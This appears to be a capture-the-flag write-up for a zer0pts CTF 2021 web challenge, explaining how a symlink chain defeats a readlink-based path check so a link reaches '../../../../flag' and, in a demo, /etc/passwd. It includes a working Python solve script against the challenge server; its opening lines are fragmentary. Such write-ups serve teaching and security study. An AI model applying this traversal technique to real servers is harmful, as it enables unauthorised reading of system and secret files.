zer0pts CTF 2021
web
0-9A-Za-z
./
or contain ..
.Paths of link targets will be only checked when files are created. Looking through the source code, you will notice that the order of checking a target path is, calling symlink
, then checking the target path with readlink
. Why does it checks the target path after a symbolic link is created?
/* Create a symbolic link */
@symlink($target, $this->root.$name);
/* This check ensures $target points to inside user-space */
try {
$this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
/* Revert changes */
@unlink($this->root.$name);
throw $e;
}
Let's check the behavior of symbolic links to look for a way to abuse it. When we make a symbolic chain like a -> b -> c
, how do readlink
and reading files work?
As the result below shows, readlink('a')
returns b
and file_get_contents('a')
returns the contents of c
.
$ psysh
Psy Shell v0.10.6 (PHP 7.2.24-0ubuntu0.18.04.7 — cli) by Justin Hileman
>>> symlink('c', 'b')
=> true
>>> symlink('b', 'a')
=> true
>>> file_put_contents('c', 'test')
=> 4
>>>
>>> readlink('a')
=> "b"
In addition to that, when we remove c
and try to replace a
with new symlink, how does it work?
As the result below shows, a symlink named c
that targets /etc/passwd
is created, and symlink('a')
still returns b
.
>>> unlink('c')
=> true
>>> symlink('/etc/passwd', 'a')
=> true
>>> readlink('a')
=> "b"
>>> passthru('ls -la')
total 8
drwx------ 2 st98 st98 4096 Mar 7 09:22 .
drwxrwxrwt 58 root root 4096 Mar 7 09:18 ..
lrwxrwxrwx 1 st98 st98 1 Mar 7 09:16 a -> b
lrwxrwxrwx 1 st98 st98 1 Mar 7 09:16 b -> c
lrwxrwxrwx 1 st98 st98 11 Mar 7 09:22 c -> /etc/passwd
=> null
Using these behaviors, you can bypass the check of target paths in the following steps. This is because when creating a symlink that targets ../../../../flag
, readlink('a')
returns b
, which does not contain ..
and is valid, but actually it is creating a symlink to ../../../../flag
.
a -> b -> c
c
symlink('../../../../flag', 'a')
import re
import requests
BASE = 'http://web.ctf.zer0pts.com:8001/'
sess = requests.Session()
sess.get(BASE)
# make a -> b -> c
sess.post(BASE, data={
'name': 'c', 'type': '', 'mode': 'create', 'target': '.'
})
sess.post(BASE, data={
'name': 'b', 'type': '', 'mode': 'create', 'target': 'c'
})
sess.post(BASE, data={
'name': 'a', 'type': '', 'mode': 'create', 'target': 'b'
})
# delete c
sess.post(BASE, data={
'name': 'c', 'mode': 'delete'
})
# make symlink('../../../../flag', 'a')
sess.post(BASE, data={
'name': 'a', 'type': '', 'mode': 'create', 'target': '../../../../flag'
})
# :)
req = sess.post(BASE, data={
'name': 'a', 'mode': 'read'
})
print(re.findall(r'zer0pts\{.+?\}', req.text)[0])
Let's execute it.
$ python solve.py
zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}
zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}